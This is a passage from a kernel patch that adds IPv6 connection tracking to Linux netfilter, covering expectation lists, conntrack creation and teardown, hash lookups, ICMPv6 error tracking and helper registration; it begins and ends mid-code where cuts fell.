MUST_BE_WRITE_LOCKED(&ip6_conntrack_lock); + + /* we're not allowed to unexpect a confirmed expectation! */ + IP6_NF_ASSERT(!expect->sibling); + + /* delete from global and local lists */ + list_del(&expect->list); + list_del(&expect->expected_list); + + /* decrement expect-count of master conntrack */ + if (expect->expectant) + expect->expectant->expecting--; + + ip6_conntrack_expect_put(expect); +} + +/* remove one specific expecatation from all lists, drop refcount + * and expire timer. + * This function can _NOT_ be called for confirmed expects! */ +static void unexpect_related(struct ip6_conntrack_expect *expect) +{ + IP6_NF_ASSERT(expect->expectant); + IP6_NF_ASSERT(expect->expectant->helper); + /* if we are supposed to have a timer, but we can't delete + * it: race condition. __unexpect_related will + * be calledd by timeout function */ + if (expect->expectant->helper->timeout + && !del_timer(&expect->timeout)) + return; + + __unexpect_related(expect); +} + +/* delete all unconfirmed expectations for this conntrack */ +static void remove_expectations(struct ip6_conntrack *ct, int drop_refcount) +{ + struct list_head *exp_entry, *next; + struct ip6_conntrack_expect *exp; + + DEBUGP("remove_expectations(%p)\n", ct); + + list_for_each_safe(exp_entry, next, &ct->sibling_list) { + exp = list_entry(exp_entry, struct ip6_conntrack_expect, + expected_list); + + /* we skip established expectations, as we want to delete + * the un-established ones only */ + if (exp->sibling) { + DEBUGP("remove_expectations: skipping established %p of %p\n", exp->sibling, ct); + if (drop_refcount) { + /* Indicate that this expectations parent is dead */ + ip6_conntrack_put(exp->expectant); + exp->expectant = NULL; + } + continue; + } + + IP6_NF_ASSERT(list_inlist(&ip6_conntrack_expect_list, exp)); + IP6_NF_ASSERT(exp->expectant == ct); + + /* delete expectation from global and private lists */ + unexpect_related(exp); + } +} + +static void +clean_from_lists(struct ip6_conntrack *ct) +{ + unsigned int ho, hr; + + DEBUGP("clean_from_lists(%p)\n", ct); + MUST_BE_WRITE_LOCKED(&ip6_conntrack_lock); + + ho = hash_conntrack(&ct->tuplehash[IP6_CT_DIR_ORIGINAL].tuple); + hr = hash_conntrack(&ct->tuplehash[IP6_CT_DIR_REPLY].tuple); + + LIST_DELETE(&ip6_conntrack_hash[ho], + &ct->tuplehash[IP6_CT_DIR_ORIGINAL]); + LIST_DELETE(&ip6_conntrack_hash[hr], + &ct->tuplehash[IP6_CT_DIR_REPLY]); + + /* Destroy all un-established, pending expectations */ + remove_expectations(ct, 1); +} + +static void +destroy_conntrack(struct nf_conntrack *nfct) +{ + struct ip6_conntrack *ct = (struct ip6_conntrack *)nfct; + struct ip6_conntrack_protocol *proto; + + DEBUGP("destroy_conntrack(%p)\n", ct); + IP6_NF_ASSERT(atomic_read(&nfct->use) == 0); + IP6_NF_ASSERT(!timer_pending(&ct->timeout)); + + /* To make sure we don't get any weird locking issues here: + * destroy_conntrack() MUST NOT be called with a write lock + * to ip6_conntrack_lock!!! -HW */ + proto = ip6_ct_find_proto(ct->tuplehash[IP6_CT_DIR_REPLY].tuple.dst.protonum); + if (proto && proto->destroy) + proto->destroy(ct); + + if (ip6_conntrack_destroyed) + ip6_conntrack_destroyed(ct); + + WRITE_LOCK(&ip6_conntrack_lock); + /* Delete us from our own list to prevent corruption later */ + list_del(&ct->sibling_list); + + /* Delete our master expectation */ + if (ct->master) { + if (ct->master->expectant) { + /* can't call __unexpect_related here, + * since it would screw up expect_list */ + list_del(&ct->master->expected_list); + ip6_conntrack_put(ct->master->expectant); + } + kfree(ct->master); + } + WRITE_UNLOCK(&ip6_conntrack_lock); + + DEBUGP("destroy_conntrack: returning ct=%p to slab\n", ct); + kmem_cache_free(ip6_conntrack_cachep, ct); + atomic_dec(&ip6_conntrack_count); +} + +static void death_by_timeout(unsigned long ul_conntrack) +{ + struct ip6_conntrack *ct = (void *)ul_conntrack; + + WRITE_LOCK(&ip6_conntrack_lock); + clean_from_lists(ct); + WRITE_UNLOCK(&ip6_conntrack_lock); + ip6_conntrack_put(ct); +} + +static inline int +conntrack_tuple_cmp(const struct ip6_conntrack_tuple_hash *i, + const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack *ignored_conntrack) +{ + MUST_BE_READ_LOCKED(&ip6_conntrack_lock); + return i->ctrack != ignored_conntrack + && ip6_ct_tuple_equal(tuple, &i->tuple); +} + +static struct ip6_conntrack_tuple_hash * +__ip6_conntrack_find(const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack *ignored_conntrack) +{ + struct ip6_conntrack_tuple_hash *h; + unsigned int hash = hash_conntrack(tuple); + + MUST_BE_READ_LOCKED(&ip6_conntrack_lock); + h = LIST_FIND(&ip6_conntrack_hash[hash], + conntrack_tuple_cmp, + struct ip6_conntrack_tuple_hash *, + tuple, ignored_conntrack); + return h; +} + +/* Find a connection corresponding to a tuple. */ +struct ip6_conntrack_tuple_hash * +ip6_conntrack_find_get(const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack *ignored_conntrack) +{ + struct ip6_conntrack_tuple_hash *h; + + READ_LOCK(&ip6_conntrack_lock); + h = __ip6_conntrack_find(tuple, ignored_conntrack); + if (h) + atomic_inc(&h->ctrack->ct_general.use); + READ_UNLOCK(&ip6_conntrack_lock); + + return h; +} + +static inline struct ip6_conntrack * +__ip6_conntrack_get(struct nf_ct_info *nfct, enum ip6_conntrack_info *ctinfo) +{ + struct ip6_conntrack *ct + = (struct ip6_conntrack *)nfct->master; + + /* ctinfo is the index of the nfct inside the conntrack */ + *ctinfo = nfct - ct->infos; + IP6_NF_ASSERT(*ctinfo >= 0 && *ctinfo < IP6_CT_NUMBER); + return ct; +} + +/* Return conntrack and conntrack_info given skb->nfct->master */ +struct ip6_conntrack * +ip6_conntrack_get(struct sk_buff *skb, enum ip6_conntrack_info *ctinfo) +{ + if (skb->nfct) + return __ip6_conntrack_get(skb->nfct, ctinfo); + return NULL; +} + +/* Confirm a connection given skb->nfct; places it in hash table */ +int +__ip6_conntrack_confirm(struct nf_ct_info *nfct) +{ + unsigned int hash, repl_hash; + struct ip6_conntrack *ct; + enum ip6_conntrack_info ctinfo; + + ct = __ip6_conntrack_get(nfct, &ctinfo); + + /* ip6t_REJECT uses ip6_conntrack_attach to attach related + ICMP/TCP RST packets in other direction. Actual packet + which created connection will be IP6_CT_NEW or for an + expected connection, IP6_CT_RELATED. */ + if (CTINFO2DIR(ctinfo) != IP6_CT_DIR_ORIGINAL) + return NF_ACCEPT; + + hash = hash_conntrack(&ct->tuplehash[IP6_CT_DIR_ORIGINAL].tuple); + repl_hash = hash_conntrack(&ct->tuplehash[IP6_CT_DIR_REPLY].tuple); + + /* We're not in hash table, and we refuse to set up related + connections for unconfirmed conns. But packet copies and + REJECT will give spurious warnings here. */ + /* IP6_NF_ASSERT(atomic_read(&ct->ct_general.use) == 1); */ + + /* No external references means noone else could have + confirmed us. */ + IP6_NF_ASSERT(!is_confirmed(ct)); + DEBUGP("Confirming conntrack %p\n", ct); + + WRITE_LOCK(&ip6_conntrack_lock); + /* See if there's one in the list already, including reverse: + NAT could have grabbed it without realizing, since we're + not in the hash. If there is, we lost race. */ + if (!LIST_FIND(&ip6_conntrack_hash[hash], + conntrack_tuple_cmp, + struct ip6_conntrack_tuple_hash *, + &ct->tuplehash[IP6_CT_DIR_ORIGINAL].tuple, NULL) + && !LIST_FIND(&ip6_conntrack_hash[repl_hash], + conntrack_tuple_cmp, + struct ip6_conntrack_tuple_hash *, + &ct->tuplehash[IP6_CT_DIR_REPLY].tuple, NULL)) { + list_prepend(&ip6_conntrack_hash[hash], + &ct->tuplehash[IP6_CT_DIR_ORIGINAL]); + list_prepend(&ip6_conntrack_hash[repl_hash], + &ct->tuplehash[IP6_CT_DIR_REPLY]); + /* Timer relative to confirmation time, not original + setting time, otherwise we'd get timer wrap in + wierd delay cases. */ + ct->timeout.expires += jiffies; + add_timer(&ct->timeout); + atomic_inc(&ct->ct_general.use); + set_bit(IP6S_CONFIRMED_BIT, &ct->status); + WRITE_UNLOCK(&ip6_conntrack_lock); + return NF_ACCEPT; + } + + WRITE_UNLOCK(&ip6_conntrack_lock); + return NF_DROP; +} + +/* Is this needed ? this code is for NAT. - kozakai */ +/* Returns true if a connection correspondings to the tuple (required + for NAT). */ +int +ip6_conntrack_tuple_taken(const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack *ignored_conntrack) +{ + struct ip6_conntrack_tuple_hash *h; + + READ_LOCK(&ip6_conntrack_lock); + h = __ip6_conntrack_find(tuple, ignored_conntrack); + READ_UNLOCK(&ip6_conntrack_lock); + + return h != NULL; +} + +/* Returns conntrack if it dealt with ICMP, and filled in skb fields */ +struct ip6_conntrack * +icmp6_error_track(struct sk_buff *skb, + unsigned int icmp6off, + enum ip6_conntrack_info *ctinfo, + unsigned int hooknum) +{ + struct ip6_conntrack_tuple intuple, origtuple; + struct ip6_conntrack_tuple_hash *h; + struct ipv6hdr *ip6h; + struct icmp6hdr hdr; + struct ipv6hdr inip6h; + unsigned int inip6off; + struct ip6_conntrack_protocol *inproto; + u_int8_t inprotonum; + unsigned int inprotoff; + + IP6_NF_ASSERT(skb->nfct == NULL); + + ip6h = skb->nh.ipv6h; + if (skb_copy_bits(skb, icmp6off, &hdr, sizeof(hdr)) != 0) { + DEBUGP("icmp_error_track: Can't copy ICMPv6 hdr.\n"); + return NULL; + } + + if (hdr.icmp6_type >= 128) + return NULL; + + /* + * Should I ignore invalid ICMPv6 error here ? + * ex) ICMPv6 error in ICMPv6 error, Fragmented packet, and so on. + * - kozakai + */ + + /* Why not check checksum in IPv4 conntrack ? - kozakai */ + /* Ignore it if the checksum's bogus. */ + + if (csum_ipv6_magic(&ip6h->saddr, &ip6h->daddr, skb->len - icmp6off, + IPPROTO_ICMPV6, + skb_checksum(skb, icmp6off, + skb->len - icmp6off, 0))) { + DEBUGP("ICMPv6 checksum failed\n"); + return NULL; + } + + inip6off = icmp6off + sizeof(hdr); + if (skb_copy_bits(skb, inip6off, &inip6h, sizeof(inip6h)) != 0) { + DEBUGP("Can't copy inner IPv6 hdr.\n"); + return NULL; + } + + inprotonum = inip6h.nexthdr; + inprotoff = ip6_ct_skip_exthdr(skb, inip6off + sizeof(inip6h), + &inprotonum, + skb->len - inip6off - sizeof(inip6h)); + + if (inprotoff < 0 || inprotoff > skb->len + || inprotonum == NEXTHDR_FRAGMENT) { + DEBUGP("icmp6_error: Can't find protocol header in ICMPv6 payload.\n"); + return NULL; + } + + inproto = ip6_ct_find_proto(inprotonum); + + /* Are they talking about one of our connections? */ + if (!ip6_get_tuple(&inip6h, skb, inprotoff, inprotonum, + &origtuple, inproto)) { + DEBUGP("icmp6_error: ! get_tuple p=%u\n", inprotonum); + return NULL; + } + + /* Ordinarily, we'd expect the inverted tupleproto, but it's + been preserved inside the ICMP. */ + if (!invert_tuple(&intuple, &origtuple, inproto)) { + DEBUGP("icmp6_error_track: Can't invert tuple\n"); + return NULL; + } + + *ctinfo = IP6_CT_RELATED; + + h = ip6_conntrack_find_get(&intuple, NULL); + if (!h) { + DEBUGP("icmp6_error_track: no match\n"); + return NULL; + } else { + if (DIRECTION(h) == IP6_CT_DIR_REPLY) + *ctinfo += IP6_CT_IS_REPLY; + } + + /* Update skb to refer to this connection */ + skb->nfct = &h->ctrack->infos[*ctinfo]; + return h->ctrack; +} + +/* There's a small race here where we may free a just-assured + connection. Too bad: we're in trouble anyway. */ +static inline int unreplied(const struct ip6_conntrack_tuple_hash *i) +{ + return !(test_bit(IP6S_ASSURED_BIT, &i->ctrack->status)); +} + +static int early_drop(struct list_head *chain) +{ + /* Traverse backwards: gives us oldest, which is roughly LRU */ + struct ip6_conntrack_tuple_hash *h; + int dropped = 0; + + READ_LOCK(&ip6_conntrack_lock); + h = LIST_FIND_B(chain, unreplied, struct ip6_conntrack_tuple_hash *); + if (h) + atomic_inc(&h->ctrack->ct_general.use); + READ_UNLOCK(&ip6_conntrack_lock); + + if (!h) + return dropped; + + if (del_timer(&h->ctrack->timeout)) { + death_by_timeout((unsigned long)h->ctrack); + dropped = 1; + } + ip6_conntrack_put(h->ctrack); + return dropped; +} + +static inline int helper_cmp(const struct ip6_conntrack_helper *i, + const struct ip6_conntrack_tuple *rtuple) +{ + return ip6_ct_tuple_mask_cmp(rtuple, &i->tuple, &i->mask); +} + +struct ip6_conntrack_helper * +ip6_ct_find_helper(const struct ip6_conntrack_tuple *tuple){ + + MUST_BE_READ_LOCKED(&ip6_conntrack_lock); + return LIST_FIND(&helpers, helper_cmp, + struct ip6_conntrack_helper *, + tuple); +} + +/* Allocate a new conntrack: we return -ENOMEM if classification + failed due to stress. Otherwise it really is unclassifiable. */ +static struct ip6_conntrack_tuple_hash * +init_conntrack(const struct ip6_conntrack_tuple *tuple, + struct ip6_conntrack_protocol *protocol, + struct sk_buff *skb, + unsigned int protoff) +{ + struct ip6_conntrack *conntrack; + struct ip6_conntrack_tuple repl_tuple; + size_t hash; + struct ip6_conntrack_expect *expected; + int i; + static unsigned int drop_next = 0; + + if (!ip6_conntrack_hash_rnd_initted) { + get_random_bytes(&ip6_conntrack_hash_rnd, 4); + ip6_conntrack_hash_rnd_initted = 1; + } + + hash = hash_conntrack(tuple); + + if (ip6_conntrack_max && + atomic_read(&ip6_conntrack_count) >= ip6_conntrack_max) { + /* Try dropping from random chain, or else from the + chain about to put into (in case they're trying to + bomb one hash chain). */ + unsigned int next = (drop_next++)%ip6_conntrack_htable_size; + + if (!early_drop(&ip6_conntrack_hash[next]) + && !early_drop(&ip6_conntrack_hash[hash])) { + if (net_ratelimit()) + printk(KERN_WARNING + "ip6_conntrack: table full, dropping" + " packet.\n"); + return ERR_PTR(-ENOMEM); + } + } + + if (!invert_tuple(&repl_tuple, tuple, protocol)) { + DEBUGP("Can't invert tuple.\n"); + return NULL; + } + + conntrack = kmem_cache_alloc(ip6_conntrack_cachep, GFP_ATOMIC); + if (!conntrack) { + DEBUGP("Can't allocate conntrack.\n"); + return ERR_PTR(-ENOMEM); + } + + memset(conntrack, 0, sizeof(*conntrack)); + atomic_set(&conntrack->ct_general.use, 1); + conntrack->ct_general.destroy = destroy_conntrack; + conntrack->tuplehash[IP6_CT_DIR_ORIGINAL].tuple = *tuple; + conntrack->tuplehash[IP6_CT_DIR_ORIGINAL].ctrack = conntrack; + conntrack->tuplehash[IP6_CT_DIR_REPLY].tuple = repl_tuple; + conntrack->tuplehash[IP6_CT_DIR_REPLY].ctrack = conntrack; + for (i=0; i < IP6_CT_NUMBER; i++) + conntrack->infos[i].master = &conntrack->ct_general; + + if (!protocol->new(conntrack, skb, protoff)) { + kmem_cache_free(ip6_conntrack_cachep, conntrack); + return NULL; + } + /* Don't set timer yet: wait for confirmation */ + init_timer(&conntrack->timeout); + conntrack->timeout.data = (unsigned long)conntrack; + conntrack->timeout.function = death_by_timeout; + + INIT_LIST_HEAD(&conntrack->sibling_list); + + WRITE_LOCK(&ip6_conntrack_lock); + /* Need finding and deleting of expected ONLY if we win race */ + READ_LOCK(&ip6_conntrack_expect_tuple_lock); + expected = LIST_FIND(&ip6_conntrack_expect_list, expect_cmp, + struct ip6_conntrack_expect *, tuple); + READ_UNLOCK(&ip6_conntrack_expect_tuple_lock); + + /* If master is not in hash table yet (ie. packet hasn't left + this machine yet), how can other end know about expected? + Hence these are not the droids you are looking for (if + master ct never got confirmed, we'd hold a reference to it + and weird things would happen to future packets). */ + if (expected && !is_confirmed(expected->expectant)) + expected = NULL; + + /* Look up the conntrack helper for master connections only */ + if (!expected) + conntrack->helper = ip6_ct_find_helper(&repl_tuple); + + /* If the expectation is dying, then this is a loser. */ + if (expected + && expected->expectant->helper->timeout + && ! del_timer(&expected->timeout)) + expected = NULL; + + if (expected) { + DEBUGP("conntrack: expectation arrives ct=%p exp=%p\n", + conntrack, expected); + /* Welcome, Mr. Bond. We've been expecting you... */ + IP6_NF_ASSERT(master_ct6(conntrack)); + __set_bit(IP6S_EXPECTED_BIT, &conntrack->status); + conntrack->master = expected; + expected->sibling = conntrack; + LIST_DELETE(&ip6_conntrack_expect_list, expected); + expected->expectant->expecting--; + nf_conntrack_get(&master_ct6(conntrack)->infos[0]); + } + atomic_inc(&ip6_conntrack_count); + WRITE_UNLOCK(&ip6_conntrack_lock); + + if (expected && expected->expectfn) + expected->expectfn(conntrack); + return &conntrack->tuplehash[IP6_CT_DIR_ORIGINAL]; +} + +/* On success, returns conntrack ptr, sets skb->nfct and ctinfo */ +static inline struct ip6_conntrack * +resolve_normal_ct(struct sk_buff *skb, + unsigned int protoff, + u_int16_t protonum, + struct ip6_conntrack_protocol *proto, + int *set_reply, + unsigned int hooknum, + enum ip6_conntrack_info *ctinfo) +{ + struct ip6_conntrack_tuple tuple; + struct ip6_conntrack_tuple_hash *h; + + if (!ip6_get_tuple(skb->nh.ipv6h, skb, protoff, protonum, &tuple, proto)) + return NULL; + + /* look for tuple match */ + h = ip6_conntrack_find_get(&tuple, NULL); + if (!h) { + h = init_conntrack(&tuple, proto, skb, protoff); + if (!h) + return NULL; + if (IS_ERR(h)) + return (void *)h; + } + + /* It exists; we have (non-exclusive) reference. */ + if (DIRECTION(h) == IP6_CT_DIR_REPLY) { + *ctinfo = IP6_CT_ESTABLISHED + IP6_CT_IS_REPLY; + /* Please set reply bit if this packet OK */ + *set_reply = 1; + } else { + /* Once we've had two way comms, always ESTABLISHED. */ + if (test_bit(IP6S_SEEN_REPLY_BIT, &h->ctrack->status)) { + DEBUGP("ip6_conntrack_in: normal packet for %p\n", + h->ctrack); + *ctinfo = IP6_CT_ESTABLISHED; + } else if (test_bit(IP6S_EXPECTED_BIT, &h->ctrack->status)) { + DEBUGP("ip6_conntrack_in: related packet for %p\n", + h->ctrack); + *ctinfo = IP6_CT_RELATED; + } else { + DEBUGP("ip6_conntrack_in: new packet for %p\n", + h->ctrack); + *ctinfo = IP6_CT_NEW; + } + *set_reply = 0; + } + skb->nfct = &h->ctrack->infos[*ctinfo]; + return h->ctrack; +} + +/* Netfilter hook itself. */ +unsigned int ip6_conntrack_in(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + struct ip6_conntrack *ct; + enum ip6_conntrack_info ctinfo; + struct ip6_conntrack_protocol *proto; + int set_reply; + int ret; + u_int8_t protonum; + int len; + int daddr_type; + int protoff, extoff; + + /* FIXME: Do this right please. --RR */ + (*pskb)->nfcache |= NFC_UNKNOWN; + + /* Ignore multicast - kozakai */ + daddr_type = ipv6_addr_type(&(*pskb)->nh.ipv6h->daddr); + if (daddr_type & IPV6_ADDR_MULTICAST) + return NF_ACCEPT; + + /* Previously seen (loopback)? Ignore. Do this before + fragment check. */ + if ((*pskb)->nfct) + return NF_ACCEPT; + + extoff = (u8*)((*pskb)->nh.ipv6h+1) - (*pskb)->data; + len = (*pskb)->len - extoff; + + /* Verify that a protocol is present and get the protocol handler + we need */ + protonum = (*pskb)->nh.ipv6h->nexthdr; + protoff = ip6_ct_skip_exthdr(*pskb, extoff, &protonum, len); + + /* + * Notice! (protoff == (*pskb)->len) mean that this packet doesn't + * have no data except of IPv6 & ext headers. but tracked anyway. + * - kozakai + */ + if (protoff < 0 || protoff > (*pskb)->len + || protonum == NEXTHDR_FRAGMENT) { + DEBUGP("ip6_conntrack_core: can't find proto in pkt\n"); + return NF_ACCEPT; + } + + /* It may be an icmp error... */ + if (protonum == IPPROTO_ICMPV6 + && icmp6_error_track(*pskb, protoff, &ctinfo, hooknum)) + return NF_ACCEPT; + + proto = ip6_ct_find_proto(protonum); + + if (!(ct = resolve_normal_ct(*pskb, protoff, protonum, proto, + &set_reply, hooknum,&ctinfo))) + /* Not valid part of a connection */ + return NF_ACCEPT; + + if (IS_ERR(ct)) + /* Too stressed to deal. */ + return NF_DROP; + + IP6_NF_ASSERT((*pskb)->nfct); + + ret = proto->packet(ct, *pskb, protoff, ctinfo); + if (ret == -1) { + /* Invalid */ + nf_conntrack_put((*pskb)->nfct); + (*pskb)->nfct = NULL; + return NF_ACCEPT; + } + + if (ret != NF_DROP && ct->helper) { + ret = ct->helper->help(*pskb, protoff, ct, ctinfo); + if (ret == -1) { + /* Invalid */ + nf_conntrack_put((*pskb)->nfct); + (*pskb)->nfct = NULL; + return NF_ACCEPT; + } + } + if (set_reply) + set_bit(IP6S_SEEN_REPLY_BIT, &ct->status); + + return ret; +} + +int ip6_invert_tuplepr(struct ip6_conntrack_tuple *inverse, + const struct ip6_conntrack_tuple *orig) +{ + return invert_tuple(inverse, orig, ip6_ct_find_proto(orig->dst.protonum)); +} + +static inline int resent_expect(const struct ip6_conntrack_expect *i, + const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_tuple *mask) +{ + DEBUGP("resent_expect\n"); + DEBUGP(" tuple: "); DUMP_TUPLE(&i->tuple); + DEBUGP("test tuple: "); DUMP_TUPLE(tuple); + return (ip6_ct_tuple_equal(&i->tuple, tuple) + && ip6_ct_tuple_equal(&i->mask, mask)); +} + +static struct in6_addr * +or_addr6_bits(struct in6_addr *result, const struct in6_addr *one, + const struct in6_addr *two) +{ + + int count = 0; + + for (count = 0; count < 8; count++) + result->s6_addr16[count] = ntohs(one->s6_addr16[count]) + & ntohs(two->s6_addr16[count]); + + return result; +} + +/* Would two expected things clash? */ +static inline int expect_clash(const struct ip6_conntrack_expect *i, + const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_tuple *mask) +{ + /* Part covered by intersection of masks must be unequal, + otherwise they clash */ + struct ip6_conntrack_tuple intersect_mask; + + intersect_mask.src.u.all = i->mask.src.u.all & mask->src.u.all; + intersect_mask.dst.u.all = i->mask.dst.u.all & mask->dst.u.all; + intersect_mask.dst.protonum = i->mask.dst.protonum + & mask->dst.protonum; + + or_addr6_bits(&intersect_mask.src.ip, &i->mask.src.ip, + &mask->src.ip); + or_addr6_bits(&intersect_mask.dst.ip, &i->mask.dst.ip, + &mask->dst.ip); + + return ip6_ct_tuple_mask_cmp(&i->tuple, tuple, &intersect_mask); +} + +inline void ip6_conntrack_unexpect_related(struct ip6_conntrack_expect *expect) +{ + WRITE_LOCK(&ip6_conntrack_lock); + unexpect_related(expect); + WRITE_UNLOCK(&ip6_conntrack_lock); +} + +static void expectation_timed_out(unsigned long ul_expect) +{ + struct ip6_conntrack_expect *expect = (void *) ul_expect; + + DEBUGP("expectation %p timed out\n", expect); + WRITE_LOCK(&ip6_conntrack_lock); + __unexpect_related(expect); + WRITE_UNLOCK(&ip6_conntrack_lock); +} + +/* Add a related connection. */ +int ip6_conntrack_expect_related(struct ip6_conntrack *related_to, + struct ip6_conntrack_expect *expect) +{ + struct ip6_conntrack_expect *old, *new; + int ret = 0; + + WRITE_LOCK(&ip6_conntrack_lock); + /* Because of the write lock, no reader can walk the lists, + * so there is no need to use the tuple lock too */ + + DEBUGP("ip6_conntrack_expect_related %p\n", related_to); + DEBUGP("tuple: "); DUMP_TUPLE(&expect->tuple); + DEBUGP("mask: "); DUMP_TUPLE(&expect->mask); + + old = LIST_FIND(&ip6_conntrack_expect_list, resent_expect, + struct ip6_conntrack_expect *, &expect->tuple, + &expect->mask); + if (old) { + /* Helper private data may contain offsets but no pointers + pointing into the payload - otherwise we should have to copy + the data filled out by the helper over the old one */ + DEBUGP("expect_related: resent packet\n"); + if (related_to->helper->timeout) { + if (!del_timer(&old->timeout)) { + /* expectation is dying. Fall through */ + old = NULL; + } else { + old->timeout.expires = jiffies + + related_to->helper->timeout * HZ; + add_timer(&old->timeout); + } + } + + if (old) { + WRITE_UNLOCK(&ip6_conntrack_lock); + return -EEXIST; + } + } else if (related_to->helper->max_expected && + related_to->expecting >= related_to->helper->max_expected) { + struct list_head *cur_item; + /* old == NULL */ + if (!(related_to->helper->flags & + IP6_CT_HELPER_F_REUSE_EXPECT)) { + WRITE_UNLOCK(&ip6_conntrack_lock); + if (net_ratelimit()) + printk(KERN_WARNING + "ip6_conntrack: max number of expected " + "connections %i of %s for " + "%x:%x:%x:%x:%x:%x:%x:%x->%x:%x:%x:%x:%x:%x:%x:%x\n", + related_to->helper->max_expected, + related_to->helper->name, + NIP6(related_to->tuplehash[IP6_CT_DIR_ORIGINAL].tuple.src.ip), + NIP6(related_to->tuplehash[IP6_CT_DIR_ORIGINAL].tuple.dst.ip)); + return -EPERM; + } + DEBUGP("ip6_conntrack: max number of expected " + "connections %i of %s reached for " + "%x:%x:%x:%x:%x:%x:%x:%x->%x:%x:%x:%x:%x:%x:%x:%x, reusing\n", + related_to->helper->max_expected, + related_to->helper->name, + NIP6(related_to->tuplehash[IP6_CT_DIR_ORIGINAL].tuple.src.ip), + NIP6(related_to->tuplehash[IP6_CT_DIR_ORIGINAL].tuple.dst.ip)); + + /* choose the the oldest expectation to evict */ + list_for_each(cur_item, &related_to->sibling_list) { + struct ip6_conntrack_expect *cur; + + cur = list_entry(cur_item, + struct ip6_conntrack_expect, + expected_list); + if (cur->sibling == NULL) { + old = cur; + break; + } + } + + /* (!old) cannot happen, since related_to->expecting is the + * number of unconfirmed expects */ + IP6_NF_ASSERT(old); + + /* newnat14 does not reuse the real allocated memory + * structures but rather unexpects the old and + * allocates a new. unexpect_related will decrement + * related_to->expecting. + */ + unexpect_related(old); + ret = -EPERM; + } else if (LIST_FIND(&ip6_conntrack_expect_list, expect_clash, + struct ip6_conntrack_expect *, &expect->tuple, + &expect->mask)) { + WRITE_UNLOCK(&ip6_conntrack_lock); + DEBUGP("expect_related: busy!\n"); + return -EBUSY; + } + + new = (struct ip6_conntrack_expect *) + kmalloc(sizeof(struct ip6_conntrack_expect), GFP_ATOMIC); + if (!new) { + WRITE_UNLOCK(&ip6_conntrack_lock); + DEBUGP("expect_relaed: OOM allocating expect\n"); + return -ENOMEM; + } + + DEBUGP("new expectation %p of conntrack %p\n", new, related_to); + memcpy(new, expect, sizeof(*expect)); + new->expectant = related_to; + new->sibling = NULL; + atomic_set(&new->use, 1); + + /* add to expected list for this connection */ + list_add(&new->expected_list, &related_to->sibling_list); + /* add to global list of expectations */ + list_prepend(&ip6_conntrack_expect_list, &new->list); + /* add and start timer if required */ + if (related_to->helper->timeout) { + init_timer(&new->timeout); + new->timeout.data = (unsigned long)new; + new->timeout.function = expectation_timed_out; + new->timeout.expires = jiffies + + related_to->helper->timeout * HZ; + add_timer(&new->timeout); + } + related_to->expecting++; + + WRITE_UNLOCK(&ip6_conntrack_lock); + + return ret; +} + + +/* Is this code needed ? this is for NAT. - kozakai */ +/* Alter reply tuple (maybe alter helper). If it's already taken, + return 0 and don't do alteration. */ +int ip6_conntrack_alter_reply(struct ip6_conntrack *conntrack, + const struct ip6_conntrack_tuple *newreply) +{ + WRITE_LOCK(&ip6_conntrack_lock); + if (__ip6_conntrack_find(newreply, conntrack)) { + WRITE_UNLOCK(&ip6_conntrack_lock); + return 0; + } + /* Should be unconfirmed, so not in hash table yet */ + IP6_NF_ASSERT(!is_confirmed(conntrack)); + + DEBUGP("Altering reply tuple of %p to ", conntrack); + DUMP_TUPLE(newreply); + + conntrack->tuplehash[IP6_CT_DIR_REPLY].tuple = *newreply; + if (!conntrack->master) + conntrack->helper = ip6_ct_find_helper(newreply); + WRITE_UNLOCK(&ip6_conntrack_lock); + + return 1; +} + +int ip6_conntrack_helper_register(struct ip6_conntrack_helper *me) +{ + WRITE_LOCK(&ip6_conntrack_lock); + list_prepend(&helpers, me); + WRITE_UNLOCK(&ip6_conntrack_lock); + + return 0; +} + +static inline int unhelp(struct ip6_conntrack_tuple_hash *i, + const struct ip6_conntrack_helper *me) +{ + if (i->ctrack->helper == me) { + /* Get rid of any expected. */ + remove_expectations(i->ctrack, 0); + /* And *then* set helper to NULL */ + i->ctrack->helper = NULL; + } + return 0; +} + +void ip6_conntrack_helper_unregister(struct ip6_conntrack_helper *me) +{ + unsigned int i; + + /* Need write lock here, to delete helper. */ + WRITE_LOCK(&ip6_conntrack_lock); + LIST_DELETE(&helpers, me); + + /* Get rid of expecteds, set helpers to NULL. */ + for (i = 0; i < ip6_conntrack_htable_size; i++) + LIST_FIND_W(&ip6_conntrack_hash[i], unhelp, + struct ip6_conntrack_tuple_hash *, me); + WRITE_UNLOCK(&ip6_conntrack_lock); + + /* Someone could be still looking at the helper in a bh. */ + synchronize_net(); +} + +/* Refresh conntrack for this many jiffies. */ +void ip6_ct_refresh(struct ip6_conntrack *ct, unsigned long extra_jiffies) +{ + IP6_NF_ASSERT(ct->timeout.data == (unsigned long)ct); + + WRITE_LOCK(&ip6_conntrack_lock); + /* If not in hash table, timer will not be active yet */ + if (!is_confirmed(ct)) + ct->timeout.expires = extra_jiffies; + else { + /* Need del_timer for race avoidance (may already be dying). */ + if (del_timer(&ct->timeout)) { + ct->timeout.expires = jiffies + extra_jiffies; + add_timer(&ct->timeout); + } + } + WRITE_UNLOCK(&ip6_conntrack_lock); +} + +/* Used by ip6t_REJECT. */ +static void ip6_conntrack_attach(struct sk_buff *nskb, struct nf_ct_info *nfct) +{ + struct ip6_conntrack *ct; + enum ip6_conntrack_info ctinfo; + + ct = __ip6_conntrack_get(nfct, &ctinfo); + + /* This ICMP is in reverse direction to the packet which + caused it */ + if (CTINFO2DIR(ctinfo) == IP6_CT_DIR_ORIGINAL) + ctinfo = IP6_CT_RELATED + IP6_CT_IS_REPLY; + else + ctinfo = IP6_CT_RELATED; + + /* Attach new skbuff, and increment count */ + nskb->nfct = &ct->infos[ctinfo]; + atomic_inc(&ct->ct_general.use); +} + +static inline int +do_kill(const struct ip6_conntrack_tuple_hash *i, + int (*kill)(const struct ip6_conntrack *i, void *data), + void *data) +{ + return kill(i->ctrack, data); +} + +/* Bring out ya dead! */ +static struct ip6_conntrack_tuple_hash * +get_next_corpse(int (*kill)(const struct ip6_conntrack *i, void *data), + void *data) +{ + struct ip6_conntrack_tuple_hash *h = NULL; + unsigned int i; + + READ_LOCK(&ip6_conntrack_lock); + for (i = 0; 